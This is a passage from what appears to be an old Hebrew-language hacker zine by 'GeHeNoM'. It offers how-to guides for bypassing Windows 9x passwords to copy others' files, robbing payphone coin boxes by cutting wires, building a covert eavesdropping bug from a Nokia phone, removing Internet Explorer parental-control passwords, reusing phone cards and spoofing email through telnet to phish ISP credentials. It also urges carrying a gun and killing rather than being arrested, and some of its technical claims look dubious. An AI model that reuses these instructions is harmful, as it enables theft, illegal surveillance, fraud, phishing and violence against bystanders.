‫אתם אומנם תקבלו את התיבה שמבקשת סיסמא‪ ,‬אך תוכלו להקליד איזה סיסמא שבא לכם‪...‬‬
‫זה ‪ 100%‬יעבוד‪ .‬זאת מכיוון שהווינדוס לא מוצא את הקובץ שאליו הוא אמור להשוות‪ .‬ולכן כל‬
‫מה שתקלידו‬
‫יהיה נכון‪ .‬הווינדוס יקבל את זה כסיסמא חדשה‪ ,‬זאת מכיוון ששוב‪ ,‬הווינדוס לא מוצא שום‬
‫קובץ סיסמא‬
‫במחשב‪ ,‬ולכן תתבקשו לאשר את הסיסמא החדשה‪ .‬עכשיו‪ ,‬כשאתם גומרים לעשות מה שרציתם‬
‫לעשות עם המחשב‪,‬‬
‫החזירו את הסיסמא הישנה כדי שאף אחד לא ידע מה שעשיתם‪ ....‬איך מחזירים את הסיסמא‬
‫הישנה?‬

‫‪20‬‬
‫פתחו חלון דוס‪ ,‬והקלידו את השורה הבאה ולאחר מכן לחצו על מקש ה ‪:Enter‬‬

‫‪rename c:\windows\*.xxx c:\windows\pwl‬‬

‫או אם שיניתם ל ‪ .fuk‬אז הקלידו את זה כך‪:‬‬

‫‪rename c:\windows\*.fuk c:\windows\pwl‬‬

‫שיטה מספר ‪3‬‬

‫שיטה מספר ‪ 3‬מבוססת על שיטה מספר ‪.2‬‬

‫* התחילו את המחשב מהתחלה‬

‫* לחצו ברציפות על כפתור ה ‪ F8‬הרבה פעמים בלי להפסיק‪.‬‬

‫אתם תקבלו תפריט שייתן לכם לבחור איך להתחיל את המחשב‪ .‬בחרו ב ‪Command prompt‬‬
‫‪only‬‬
‫עכשיו‪ ,‬הרעיון בשיטה ‪ 3‬זה לא להיכנס לווינדוס‪ ,‬אלא פשוט להשיג גישה לקבצים על המחשב‪.‬‬
‫למי שמכיר את דוס‪ ,‬שייהנה‪ .‬למה שלא‪ ,‬אני אתן פה קצת עזרה‪...‬‬
‫תבדקו שאתם בספרייה הראשית‪ ,‬כדי לעשות זאת הקלידו‪:‬‬
‫\‪c:‬‬
‫עכשיו שאתם בספרייה הראשית הקלידו‬
‫‪dir‬‬
‫כדי להיכנס לספרייה ששם נמצאים הקבצים שאתם רוצים הקלידו‬
‫‪cd directory‬‬
‫לדוגמא אם לספרייה קוראים ‪ Xfiles‬אז תקלידו‬
‫‪cd Xfiles‬‬
‫ואם לספרייה קוראים ‪ games‬אז תקלידו‬
‫‪cd games‬‬
‫עכשיו שוב הקלידו‬
‫‪dir‬‬
‫הכניסו דיסקט לכונן דיסקטים ותעתיקו את הקבצים שאתם רוצים‪ .‬אם אתם רוצים את כולם‪,‬‬
‫הקלידו‬
‫‪copy *.* A:‬‬
‫אם אתם רוצים קובץ מסוים‪ ,‬לדוגמא ‪ game.exe‬הקלידו‬
‫‪copy game.exe A:‬‬

‫זהו‪ ,‬סיימנו לכתבה הזאת‪ ,‬ורק לסיכום‪,‬‬


‫אם עד עכשיו חשבתם שהקבצים שלכם במחשב מוגנים‪ ,‬כדאי שתחשבו עוד פעם‪ .‬עד לכתבה‬
‫הבאה‪.‬‬
‫‪GeHeNoM‬‬

‫‪21‬‬
‫איך לגנוב כסף ממכשירי טלפון‬

‫מכירים את המכשירים האלה ששמים שקל ואז אפשר להתקשר?‬


‫אפשר למצוא אותם בעיקר באיזה מקום תקוע בעיר‪ ,‬במוסדות חינוך‪ ,‬ומתנ"סים‪.‬‬
‫שדידת מכשיר טלפון כזה צורכת רק כמה דברים פשוטים‪ .‬לכן גם השרוטים שביניכם יוכלו‬
‫לעשות זאת‪.‬‬
‫דבר ראשון‪ ,‬אל תתנהגו כמו מטומטמים‪ .‬אתם בני זונות‪ .‬תזכרו את זה‪.‬‬
‫או במילים אחרות‪ ,‬אל תבואו באמצע היום מול מלא אנשים לעשות את עבודתכם‪.‬‬
‫כמו כן אל תכריזו לפני כל החברים שלכם שגנבתם ‪ 500‬שקל מאיזה טלפון ציבורי בצומת‪...‬‬

‫טוב‪ ,‬כעת מייצאו טלפון כזה שיש לכם גישה לחוטי החשמל שלו‪.‬‬
‫פשוט חפשו את הכבל שמתפתל צמוד לקיר או את המצמת (תיבת חיבור)‪.‬‬
‫עכשיו‪ ,‬בקו טלפון רגיל‪ ,‬יהיה שני חוטי חשמל‪ .‬אדום וירוק‪.‬‬
‫בטלפון מסוג כזה‪ ,‬יהיו ארבעה‪ .‬אדום וירוק לתפעול התקשורת (העברת פולסים ושטויות)‪,‬‬
‫וצהוב ושחור בשביל בדיקת המטבעות‪ .‬חפשו מקום בכבל שבו חתך לא ייראה בולט לעין‪.‬‬
‫שליפו את הסכין שלכם וחיתכו בעדינות חלק מן הכבל כך שייחשפו ארבעת חוטי החשמל‬
‫הצבעוניים‪.‬‬
‫חיתכו לגמרי את השחור והצהוב והניחו לאנשים לנסות להשתמש בטלפון‪!...‬‬

‫מה קורה פה?‬


‫^^^^^^^^^^^‬
‫ובכן‪ ,‬כשאתם שמים לדוגמא מטבע של ‪ 5‬שקל בתא הרסיבר (‪ )Receiver‬של המכשיר בכדי לעשות‬
‫שיחה‪,‬‬
‫המטבע נופל לתוך תיבת המטבעות הזמנית ונשאר שם עד שאחד משלושת הדברים הבאים‬
‫קורים‪:‬‬

‫* התקשרתם‪ ,‬דיברתם‪ ,‬ניתקתם‪ ,‬והמטבע נשלך מתוך תיבת המטבעות הזמנית אל תיבת‬
‫המטבעות הרגילה‬
‫ופוגש שם את כל השקלים שהיו שם לפני כן ונשאר שם עד שטכנאי מוסמך של בזק בא עם מפתח‬
‫מיוחד‪ ,‬פותח את התיבה‪ ,‬ומוציא את כל הכסף‪...‬‬

‫* התקשרתם‪ ,‬דיברתם‪ ,‬ניתקם‪ ,‬אבל שילמתם יותר ממה שהיה צריך‪ .‬הכל מחושב‪ ,‬העודף נופל‬
‫לתיבת העודף‪,‬‬
‫והשארית לתיבת המטבעות הרגילה ופוגש שם את כל השקלים שהיו שם לפני כן ונשאר שם עד‬
‫שטכנאי‬
‫מוסמך של בזק בא עם מפתח מיוחד‪ ,‬פותח את התיבה‪ ,‬ומוציא את כל הכסף‪...‬‬

‫* התקשרתם‪ ,‬אף אחד לא ענה‪ ,‬או שהיה תפוס‪ ,‬או משהו דומה‪ ,‬ואז ניתקתם‪.‬‬
‫ברגע שניתקתם המטבע נופל מתיבת המטבעות הזמנית ישר לתוך תא העודף‪.‬‬

‫זה פחות או יותר הסוד שעומד מאחורי רעיון השדידה שלנו פה‪.‬‬
‫אתם פשוט מאוד חוזרים בשעה ‪ 3:00‬לפנות בוקר‪ ,‬מחברים בחזרה את חוט החשמל השחור‬
‫וגם כמובן את חוט החשמל הצהוב‪ ,‬מדביקים עם סלוטייפ או משהו‪ ,‬מרימים את השפופרת‬
‫ומקשיבים לצליל שאומר שיש קו (בפממממממממממממממ‪ ,)...‬ומנתקים‪.‬‬

‫החלק הכייפי‬
‫‪#############‬‬

‫הכסף יתחיל להתגלגל החוצה בדיוק כמו בסרטים!!!!!‬


‫מומלץ להכין שקית מראש‪ ,‬למה לא בטוח שיהיה מקום בכיסים‪.‬‬
‫השיא שלי זה ‪ 614‬שקל בלילה יחיד!!! (כמובן שעשיתי את זה ביותר מטלפון אחד באותו לילה)‪.‬‬

‫כמה טיפים‪:‬‬

‫‪22‬‬
‫* מומלץ ללבוש בגדים שחורים‪.‬‬

‫* מומלץ לבוא עם אופנוע‪.‬‬

‫* מומלץ להיזהר מגמדים הומואים שמנים בכחול שיוצאים מניידת כחולה ומגעילה‪.‬‬

‫* אם מישהו רואה אתכם‪ ,‬פשוט תגידו לו שהכל נפל ככה סתם‪ .‬גם לא יזיק לתת לו קצת‬
‫אחוזים‪...‬‬

‫רק הערה אחרונה‪ :‬כשאנשים ישימו שקל או שתיים אחרי שחתכתם את החוטים‪ ,‬הכסף יישאר‬
‫במכונה‪,‬‬
‫והם גם לא יוכלו להתקשר‪ ,‬כי החוטים שאחראים על בדיקת המטבעות לא יהיה פעילים‪...‬‬
‫אם זה יעצבן אותם מאוד‪ ,‬הם עלולים לקרוא לטכנאי של בזק‪ .‬לכן תבואו עם אקדח למקרה‬
‫חירום‪.‬‬
‫עדיף להרוג מאשר לשבת מאחורי סורגים‪ .‬באמת‪.‬‬

‫אז עד הפעם הבאה‪,‬‬

‫‪GeHeNoM‬‬

‫‪23‬‬
‫הכנת מכשיר ציטוט מהפלאפון‬

‫אוהבים את ג'יימס בונד? אני לא‪.‬‬


‫בכל מקרה‪ ,‬מסקר שערכנו יוצא כי הפלאפון הפופולרי‬
‫ביותר באזור ירושלים הוא ה ‪ Nokia 5110‬של רשת אורנג'‪.‬‬
‫ובכן‪ ,‬עם הפלאפון הזה אתם יכולים להכין מכשיר‪ ,‬אשר בעזרתו תוכלו לצטט לאנשים‪.‬‬
‫זה לא כמו הציטוט לשיחות עם המוטורלה של רשת פלאפון‪ ,‬אלא ממש מכשיר האזנה אמיתי כמו‬
‫של המשטרה‪.‬‬
‫מחביאים אותו באיזה מקום בחדר ואז אפשר לשמוע את כל שמדברים שם‪ .‬לדוגמא‪ ,‬תשאירו‬
‫אותו‬
‫בכיתה ביום של אסיפת הורים ותשמעו בדיוק מה המורה שלכם אומר לכל הורה והורה‪ .‬זה אמנם‬
‫לא חוקי‪,‬‬
‫ועובר על חופש הפרט‪ ,‬אבל צוות האתר סומך על כך שתשתמשו בזה נכון ורק למקרים הנכונים‪.‬‬
‫אף אחד לא שם זין על החוק‪ ,‬אבל אם אין לכם כבוד לבני אדם אחרים אז איבדתם משהו‪...‬‬

‫בכל מקרה‪ ,‬להכנת מכשיר כזה מהפלאפון שלכם אתם צריכים את הכלים הבאים‪:‬‬

‫* פלאפון מדגם ‪ 5110‬של נוקיה‬

‫* את הכתבה הזאת (מומלץ להדפיס)‬

‫* את המוח שלכם (מומלץ לבדוק שהוא עובד ע"י דפיקת הראש בקיר)‬

‫טוב‪ ,‬כעת דבר ראשון שתעשו הוא להגדיר את הפלאפון ל"מענה אוטומטי" ולשים אותו במצב‬
‫שקט‪.‬‬
‫ועכשיו גבירותיי ורבותיי‪,‬‬
‫החלק המתוחכם שעושה את כל הקסם‪ .‬בתחתית הפלאפון‪ ,‬ישנם פינים‪ ,‬שכאשר מחברים ביניהם‪,‬‬
‫עלול להיווצר קצר‪ .‬קחו חוט חשמל‪ ,‬ובזהירות חברו בין הפין האמצעי בצד שמאל לפין הימני‪.‬‬
‫ברגע שזה ייקרה הפלאפון שלכם ייתקע ומייד ייכנס למצב 'אוזנייה'‪.‬‬
‫כעת כל שעליכם לעשות הוא להחביא את הפלאפון איפושהו בחדר של הקורבן‪.‬‬
‫עכשיו לכו הביתה והתקשרו מהטלפון שלכם או מאיזה פלאפון שגנבתם למספר של הפלאפון‬
‫שאותו‬
‫הפכתם למכשיר האזנה‪ .‬הפלאפון מיד יקבל את השיחה‪ ,‬מה שלא עולה כסף כי זאת שיחה נכנסת‪,‬‬
‫ואתם‬
‫תשמעו את כל מה שמי שנמצא באזור הפלאפון שלכם אומר ועושה‪ .‬רק תזכרו שמכשיר האזנה‬
‫עולה הרבה יותר‬
‫מפלאפון‪ ,‬ולכן אם אתם משתמשים במידע זה בכדי להכין מכשיר כזה מהפלאפון שלכם‪ ,‬לא יזיק‬
‫אם תשלחו‬
‫לי ‪ 300 ,200‬שקל בדואר‪.‬‬
‫שלכם‪,‬‬

‫‪GeHeNoM‬‬

‫‪24‬‬
‫פריצת סיסמת הצנזורה של ‪Internet Explorer‬‬

‫הדפדפן של מיקרוסופט‪ ,‬עם כל הדברים הטובים שבו‪ ,‬והפופלריות שלו‪ ,‬הוא לא הדפדפן הכי מוגן‪.‬‬
‫בכתבה הזאת אני אראה לכם משהו שלא ממש רציתם לדעת על הדפדפן אינטרנט שאתם כל כך‬
‫אוהבים‪.‬‬
‫כפי שידוע‪ ,‬בדפדפן של מיקרוסופט קיימת האפשרות לצנזר אתרים מסוימים ולחסום אליהם את‬
‫הגישה‪.‬‬
‫הדבר נועד למורים‪/‬הורים שלא רוצים שאנחנו הילדים נוכל להיכנס לאתרי פורנוגרפיה‪ ,‬אנרכיה‪,‬‬
‫וכו'‬
‫אבל לפני שאני אראה לכם איך להוריד את הגנת הסיסמא‪ ,‬קודם‪ ,‬לאלה מכם שלא מצנזרים להם‪,‬‬
‫אני רק אראה למה אני מתכוון‪ .‬פיתחו את הדפדפן (‪.)Internet Explorer‬‬

‫לחצו על תפריט ‪Tools‬‬


‫בחרו ב ‪Internet Options...‬‬

‫חלון חדש ייפתח‪ ,‬עם כל מיני תפריטים כגון‪,General, Security, Content, Connections :‬‬
‫ועוד‪...‬‬
‫לחצו על ‪Content‬‬
‫התבוננו ב ‪ Content Advisor‬לרגע‪.‬‬
‫זה נועד לחסום גישה לאתרים‪ ,‬ואפשר להוריד את החסימה רק על ידי סיסמא‪.‬‬
‫כדי להראות לכם למה אני מתכוון לחצו על כפתור ה ‪Enable‬‬
‫ותפעילו את החסימה‪ .‬שימו סיסמא שתוכלו לזכור‪ .‬סגרו את הדפדפן‪.‬‬
‫פיתחו אותו מחדש‪ .‬עכשיו נסו להיכנס לאתר שחסמתם‪ .‬מה קורה? יפה‪.‬‬
‫עכשיו נסו להוריד את החסימה‪ .‬זה יבקש ממכם סיסמא‪ .‬אתם כמובן יודעים אותה‪ ,‬כי אתם‬
‫בחרתם אותה‪,‬‬
‫אבל נניח אתם לא יודעים אותה‪ .‬הקלידו סיסמא שגויה‪ .‬מה קורה? אחלה‪ .‬עכשיו את הסיסמא‪.‬‬
‫כמו שאתם רואים אתם עכשיו יכולים לבטל את החסימה‪ .‬אבל אל תבטלו‪ .‬עכשיו הגיע הזמן‬
‫שתראו איך‬
‫פורצים את זה בלי לדעת את הסיסמא‪ .‬מוכנים? אני ממליץ להדפיס את הקטע הבא‪,‬‬
‫כי זה לא משהו שקל לזכור בעל פה‪ .‬אז איך בדיוק עושים את זה? עם הרג'יסטרי‪.‬‬

‫‪Windows Registry‬‬

‫מה זה הרג'יסטרי?‬
‫הרג'יסטרי זה פשוט דאטאבייס (‪ )database‬ענק שבווינדוס ‪ NT/95/98‬הוא בעצם‬
‫מחליף את כל קבצי ה ‪ .pif‬וה ‪ .ini‬ועוד כל מיני קבצי אינפורציה שהיו לנו בווינדוס ‪ 3.11‬ו ‪3.1‬‬
‫אז במילים אחרות‪ ,‬כל האפשרויות (‪ )Settings‬של החומרה‪ ,‬וכל מיני תוכנות נמצאות שם‪ .‬עכשיו‬
‫הכירו את‬
‫עורך הרג'יסטרי ‪ .Regedit -‬אתם תשמשו בעורך הזה הרבה‪ .‬אם כדי לתקן בעיות במחשב‪ ,‬לעשות‬
‫שיפורים‪,‬‬
‫או לדוגמא‪ ,‬לפרוץ את סיסמת ההגנה של אינטרנט אקספלורר‪.‬‬
‫אני עכשיו לא אראה לכם צעד אחר צעד איך משתמשים בעורך‪ ,‬כי זה לוקח זמן‪.‬‬
‫מה שכן‪ ,‬אני אראה לכם צעד אחר צעד איך לפרוץ את הסיסמא‪.‬‬

‫פריצת הסיסמא‬

‫כשהדפדן פתוח‪ ,‬עשו את הצעדים הבאים‪:‬‬


‫* לחצו על התחל‬
‫* הפעלה‪...‬‬
‫* הקלידו‪ regedit :‬ולחיצו על ‪Enter‬‬
‫העורך ייפתח‪ .‬לחיצו לחיצה כפולה על‪:‬‬

‫‪25‬‬
‫‪HKEY_LOCAL_MACHINE -> SOFTWARE -> Microsoft -> Windows -> Current‬‬
‫‪Version -> Policies‬‬

‫התבוננו בציידו הימיני של העורך‪ .‬אם יש הגנת סיסמא‪ ,‬אתם תראו משהו שכתוב עליו ‪.Key‬‬
‫סמנו את זה עם העכבר ולחיצו על מקש ה ‪ .Delete‬לאחר שמחקתם את זה‪ ,‬הסיסמא כבר לא‬
‫תהיה קיימת‪.‬‬
‫זה מכיוון שהסיסמא הייתה בפנים‪ .‬היא פשוט הייתה מוצפנת כמובן‪ ....‬זאת כדי שלא תוכלו‬
‫לדעת מה היא‪,‬‬
‫אם כי קיימות תוכנות שהופכות את זה לטקסט נקי ומראות לכם מה הסיסמא‪ .‬אבל תוכנות‬
‫כאלה בד"כ לא ניתנות‬
‫להפצה בחינם‪ ,‬והם בהחלט לא שוות את הכסף שמבקשים עבורם‪ .‬אם אתם בכל זאת מעונינים‪,‬‬
‫נסו את האתר הבא‪:‬‬
‫‪http://www.ntbugtraq.com‬‬

‫רק הערה אחרונה ‪ -‬אחרי שאתם מוחקים את הסיסמא‪ ,‬תסגרו את הדפדפן‪ ,‬ותיכנסו אליו שוב‪.‬‬
‫תעשו את זה כדי שהדפדפן יידע שאין יותר סיסמא‪ .‬הוא בודק ברג'יסטרי רק כשהוא נפתח‬
‫מחדש‪.‬‬
‫לכן אם הוא פתוח כשאתם מוחקים את הסיסמא‪ ,‬הוא לא יידע שמחקתם‪ ,‬ויבקש סיסמא‪...‬‬
‫אז פשוט סגרו את הדפדפן‪ ,‬ואז תפתחו אותו שוב‪ ,‬ולא יהיה בעיות‪.‬‬
‫זהו‪.‬‬
‫עכשיו לכו לבי"ס‪,‬‬
‫תעיפו את ההגנה של הדפדפן‪ ,‬ותגלשו חופשי‪.‬‬
‫שלכם‪,‬‬
‫‪GeHeNoM‬‬

‫‪26‬‬
‫שימוש חוזר בכרטיסי טלכרט‬

‫כ‪-‬ע‪-‬ת תלמדו איך להשתמש בכרטיסי טלכרט שנגמרו'‪.‬‬


‫דבר ראשון‪ ,‬עליכם למצוא כמה טלכרטים מ ש ו מ ש י ם‪ .‬כן‪ ,‬משומשים‪.‬‬
‫בשביל זה לכו לאוסף טלכרטים של אח שלכם הקטן ותגנבו לו חאפלה של איזה ‪.20‬‬
‫עדיף טלכרטים ישנים‪ ,‬למה הרבה מהחדשים מוגנים מפני הטריק שאני אראה לכם פה‪.‬‬
‫כמו כן עדיף שיהיה לכם איזה ‪ 20‬כי בניסיונות הראשונים זה בד"כ לא יוצא משהו ומה שקורה‬
‫זה שהטלכרט נהרס‪ ...‬לכן תדאגו שיהיה לכם כמות מכובדת‪ .‬אוקי‪ ,‬עכשיו פתחו קלטת וידיאו‬
‫ריקה‪.‬‬
‫חשוב מאוד שהקלטת תהיה ריקה‪ ,‬בלי שום דבר מוקלט עליה‪ .‬ושיהיה חדש‪ .‬מחיקת הקלטה‬
‫ישנה לא תעזור לנו‪.‬‬
‫כעת קחו מספריים וגזרו בעדינות חלק מן הסליל שבפנים‪ .‬זהרו על הסליל השחור שלא יתלכלך‪.‬‬
‫הדביקו‬
‫את הסליל על החלק האחורי העליון של הטלכרט‪ ,‬איפה שיש הרבה בליטות קטנות‪ .‬לאחר מכן‪,‬‬
‫עברו עם עיפרון‬
‫על הסליל‪ ,‬כך שיישאר שכבה דקה של פחם‪ .‬באסה שאת העפרונות עם הפחם הישנים החליפו‬
‫כיום עם חומר אחר‪.‬‬
‫לכן תיאלצו ללכת לחנות גרפיקה או לבית הישן של סבתא שלכם כדי למצוא עיפרון פחם‪ .‬אחרי‬
‫שגמרתם להדביק‬
‫את הסליל השחור המגנטי מהקלטת על הטלכרט‪ ,‬והשארתם עליו שיכבה דקה של פחם מן‬
‫העיפרון‪ ,‬הכניסו אותו‬
‫לתוך טלפון ציבורי‪ .‬מה שייקרה פה זה פעולה מגנטית הפוכה אשר הגלאי המגנטי לא יוכל לעמוד‬
‫בו‪,‬‬
‫ולכן יהיה לכם זמן חופשי ללא הגבלה על הטלפון‪ .‬אז דברו חופשי‪ ,‬כי זה בזק‪.‬‬

‫‪GeHeNoM‬‬

‫‪27‬‬
‫שימוש חוזר בכרטיסי טלכרט ‪ -‬שיטה מס‪2 .‬‬

‫שיטה שנייה למחזור טלכרטים‪...‬‬


‫דבר ראשון‪ ,‬עליכם למצוא כמה טלכרטים מ ש ו מ ש י ם‪ .‬כן‪ ,‬משומשים‪.‬‬
‫בשביל זה לכו לאוסף טלכרטים של אח שלכם הקטן ותגנבו לו חאפלה של איזה ‪.20‬‬
‫עדיף טלכרטים ישנים‪ ,‬למה הרבה מהחדשים מוגנים מפני הטריק שאני אראה לכם פה‪.‬‬
‫כמו כן עדיף שיהיה לכם איזה ‪ 20‬כי בניסיונות הראשונים זה בד"כ לא יוצא משהו ומה שקורה‬
‫זה שהטלכרט נהרס‪ ...‬לכן תדאגו שיהיה לכם כמות מכובדת‪ .‬אוקי‪ ,‬עכשיו תכייסו מהמכולת‬
‫טיפקס‪.‬‬
‫התבוננו בחלק האחורי של אחד הטלכרטים‪ .‬רואים נקודות קטנות בולטות למעלה?‬
‫כסו אותם בשכבה שווה דקה של טיפקס‪ .‬עשו זאת בעדינות‪ .‬כל פעם שהטלכרט ייגמר‪,‬‬
‫תיאלצו לעשות זאת מחדש‪ ,‬אבל לא נורא‪ .‬תיהנו!!!!!!!!!!!‬
‫ודברו חופשי‪ ,‬כי זה בזק‪.‬‬

‫‪Gehenom‬‬

‫‪28‬‬
‫זיוף ‪ - Email‬חלק ‪1‬‬

‫בכתבה הזאת‪ ,‬הכתבה הכי טובה עד עכשיו אם תשאלו אותי‪,‬‬


‫אני אראה לכם איך לזייף אי מייל‪ .‬מה זאת אומרת? הכוונה היא שתוכלו לדוגמא‬
‫לשלוח לחבר שלכם אי מייל והחבר שלכם יחשוב שהוא קיבל את האי מייל הזה מדורון שפר‪.‬‬
‫כמובן שמצחוקים אפשר לעבור לצחוקים יותר טובים‪ ,‬כמו לשלוח למורה אי מייל מהמנהל‪,‬‬
‫או שאפשר גם לעבור לדברים רציניים יותר‪ ,‬כמו למשל לשלוח ללקוח של ספק אינטרנט כגון‬
‫נטויז'ין לדוגמא‪ ,‬אי מייל מהצוות תמיכה של נטויז'ין ולבקש ממנו את השם משתמש והסיסמא‪.‬‬
‫כמובן שזה ייראה לו חשוד‪ ,‬ולכן מה שאנחנו‪ ,‬ההאקרים‪ ,‬עושים במקרים כאלה‪,‬‬
‫זה משתמשים בקצת פסיכולוגיה‪ .‬אבל לפני שאני אתן לכך דוגמאות כדאי שנעבור כבר‬
‫לזיוף האי מייל הראשון שלכם!!!‬

‫החלטתי שלפני שאני אסביר משהו‪ ,‬הפעם נתחיל מייד עם האקשן (‪)Yeah, right...‬‬
‫רק אח"כ אני אסביר מה עשינו‪ ,‬ונתחיל לשחק עם זה‪)Play with it???( ...‬‬
‫רק דבר אחד לפני שאנחנו מתחילים‪ ,‬את האקשן הראשוני נעשה עם ‪.Hotmail‬‬
‫למה עם ‪ ?Hotmail‬מכמה סיבות‪:‬‬

‫* מליוני אנשים רשומים אליהם‪.‬‬


‫אתם תוכלו לזייף אי מייל עם ביטחון וניסיון להמוני אנשים‪.‬‬

‫* מסיבות כאלה ואחרות אני רוצה שגם אתם תשנאו את מיקרסופוט ותצטרפו למועדון השונאים‬
‫והשונאות‪.‬‬
‫אם אני אראה לכם כמה קל זה לשלוח אי מיילים מזויפים ללקוחות שלהם‪ ,‬סביר להניח שלא‬
‫תאהבו אותם על כך‪.‬‬
‫בעיקר בגלל שסביר להניח שכרגע אתם לקוחות שלהם‪.‬‬

‫* ככה סוף סוף תעזבו אותם‪ .‬תזרקו אותם‪ .‬ותשיגו כתובת אי מייל נורמלית‪.‬‬
‫לא עוד ‪ you@hotmail.com‬מגעיל‪ ....‬אלא מעכשיו ‪you@any-thing-else-ya-want.com‬‬
‫יפהפה‪.‬‬

‫בכדי שנוכל להתחיל‪ ,‬אם אתם עוד לא רשומים‬


‫ל ‪ Hotmail.com‬אז לכו ל ‪ Http://www.hotmail.com‬ותירשמו‪.‬‬

‫‪................................................‬‬
‫הערה‪:‬‬
‫‪ Hotmail.co.il‬ו ‪ Hotmail.com‬זה לא אותו דבר‪.‬‬
‫גם המנויים של ‪ Hotmail.co.il‬צריכים ללכת לאתר‬
‫של ‪ Hotmail.com‬ולהירשם‪ .‬אם לא תעשו את זה‪,‬‬
‫אז כלום פה לא יעבוד‪...‬‬
‫רק מי שרשום ל ‪ Hotmail.com‬לא חייב להירשם שנית‬
‫אלא ישתמש בכתובת שקיבל מ ‪Hotmail.com‬‬
‫תודה‬
‫‪................................................‬‬

‫טוב‪ ,‬נתחיל‪ .‬נגיד לדוגמא שהאי מייל שלכם ב ‪ Hotmail.com‬הוא ‪hacker@hotmail.com‬‬


‫אנחנו עכשיו נשלח לכם אי מייל מראש הממשלה‪ .‬כתובת האי מייל של ראש הממשלה היא‪:‬‬
‫‪rohm@pmo.gov.il‬‬
‫(דרך אגב‪ ,‬זאת באמת כתובת האי מייל של הראש הממשלה‪ .‬נשבע לכם‪ .‬אל תאמינו‪ ..‬לא צריך‪).‬‬

‫אוקי‪ ,‬תעשו את הצעדים הבאים‪:‬‬

‫* לחצו על תפריט ההתחל‬

‫‪29‬‬
‫* בחרו בהפעלה‪...‬‬
‫* עכשיו הקלידו‪telnet mail.hotmail.com 25 :‬‬
‫ולחיצו על כפתור ה ‪.Enter‬‬

‫חלון חדש ייפתח‪ .‬זה חלון טלנט‪ .‬מה שאנחנו בעצם עושים פה זה מטלנטים (מתחברים‪ )..‬לשרת‬
‫דואר של‬
‫‪ Hotmail‬לפורט ‪ .25‬מבולבלים?‬
‫תסגרו את חלון הטלנט ואני אסביר לכם‪....‬‬

‫האינטרנט הוא בעצם רשת ענקית של רשתות מחשבים מחוברות אחת לשנייה‪.‬‬
‫ביחד זה בלגן אחד גדול של תעבורת אינפורמציה בין מיליוני מחשבים‪ .‬מחשבים ביתיים‪ ,‬שרתים‪,‬‬
‫תחנות עבודה‪ ,Main Frames ,‬מפלצות‪ ,‬חתולים‪ ,‬מה שאתם לא רוצים‪.‬‬
‫עכשיו‪ ,‬לא לכל המחשבים האלה יש ‪ .Windows‬בעצם‪ ,‬לרובם אין‪ .‬לרוב השרתים לפחות‪...‬‬
‫בכל מקרה‪ ,‬מכיוון שלא לכל המחשבים יש מערכת הפעלה אחת סטנדרטית‪ ,‬צריך כלי תקשור‬
‫סטנדרטי‪.‬‬
‫צריך חוקים מסוימים‪ ,‬שכל מחשב ילך לפיהם כדי לתקשר עם מחשבים אחרים‪ .‬צריך שפה‬
‫משותפת בין המחשבים‪.‬‬
‫צריך‪ ....‬פרוטוקולים‪ ....‬יפה‪ .‬עכשיו לא נתחיל לדבר פה על כל הפרוטוקולי אינטרנט כי יש הרבה‪,‬‬
‫אבל תבינו שהדפדפן אינטרנט המחורבן שלכם זה לא אינטרנט‪ .‬זה דפדפן‪ .‬הוא מתחבר לשרת‬
‫‪.HTTP‬‬
‫ולפי חוקי פרוטוקול ה ‪ HTTP‬הוא מתקשר עם השרת‪ ,‬מקבל את המידע על האתר‪( ,‬בשפת‬
‫‪ )HTML‬ומתרגם את זה‬
‫למה שאתם רואים בדפדפן‪.‬‬
‫דרך אגב‪,‬‬

‫‪HTTP = Hyper Text Transfer Protocol‬‬

‫כלומר פרוטוקול של העברת היפר טקסט‪ .‬או במילים אחרות טקסט שאתם לוחצים עליו וכך‬
‫עוברים לטקסט אחר‪.‬‬
‫מה שנקרא בשפה המודרנית ‪ -‬לגלוש‪ .‬ובשפה הדו מודריונרית ‪ -‬סתאאאאאם‪ .‬לא חשוב‪.‬‬
‫עכשיו‪ ,‬אי מייל לעומת זאת משתמש בשני פרוטוקולים‪ SMTP :‬ו ‪.POP3‬‬
‫אנחנו עכשיו נשתמש רק ב ‪ .SMTP‬למי שמעוניין‪,‬‬

‫‪SMTP = Simple Mail Transfer Protocol‬‬

‫ובקציצוצוציצור עכשיו‪ ,‬מה שנעשה זה‪ ,‬בדיוק כמו שהדפדפן אינטרנט שלכם מתחבר לשרת‬
‫‪ HTTP‬לפורט ‪,80‬‬
‫אנחנו נתחבר לשרת ‪ SMTP‬לפורט ‪ .25‬למה? ככה‪ .‬אני לא אסביר את זה בכתבה הזאת כי אין‬
‫מקום‪...‬‬
‫ואז‪ ,‬כמו שלדוגמא ניקח את ה ‪ MS Outlook‬שלכם‪ ,‬כמו שהאאוטלוק (או כל תוכנת דואר אחרת)‬
‫מתקשרת עם‬
‫שרת הדואר (‪ ,)SMTP‬ככה הפעם אנחנו נעשה י ד נ י ת‪ .‬נעשה חיבור חי‪ .‬ונדבר עם השרת‪ .‬דמיינו‬
‫שעכשיו‬
‫אתם תוכנת אאוטלוק‪ .‬או כל תוכנת דואר אחרת שאתם רוצים‪ .‬עכשיו דמיינו שאתם אפרוח‪.‬‬
‫עכשיו דמיינו שאתם במדינה שבה סמים הם דבר חוקי‪ .‬דמיינו שאתם‪..‬‬
‫‪ ###‬עכשיו תתעוררו ותחזור למציאות המרושעת‪### .‬‬
‫נמשיך‪.‬‬
‫לוחצים על התחל‪ ,‬הפעלה‪ ,‬ומקלידים ‪.telnet‬‬
‫זה ייפתח את תוכנת הטלנט‪ ,‬שנותנת לנו להתחבר לאיזה שרת שאנחנו רוצים לאיזה פורט שאנחנו‬
‫רוצים‪.‬‬
‫מה זה פורט (יציאה)? ובכן‪ ,‬הכוונה הטכנית היא למשהו שפתוח במחשב ומוכן לחיבור‪ .‬כלומר‬
‫מחכה לחיבור‬
‫ממחשב אחר (או מכל דבר אחר בעצם)‪ .‬אבל בדרך כלל כשמדברים על פורט מתכוונים למספר של‬
‫הפורט‪.‬‬

‫‪30‬‬
‫לדוגמא פורט ‪.80‬‬
‫פורט ‪ 80‬למי שלא יודע זה השרת אינטרנט‪.HTTP ,‬‬
‫כמובן שזה לא תמיד חייב להיות דווקא ככה‪ ,‬בעיקרון כשפותחים שרת אפשר לקבוע דרך איזה‬
‫פורט יהיה אפשר לגשת אליו‪ .‬אבל בד"כ פורט ‪ 80‬זה אתר אינטרנט‪ .‬פורט ‪ 110‬זה דואר נכנס‪.‬‬
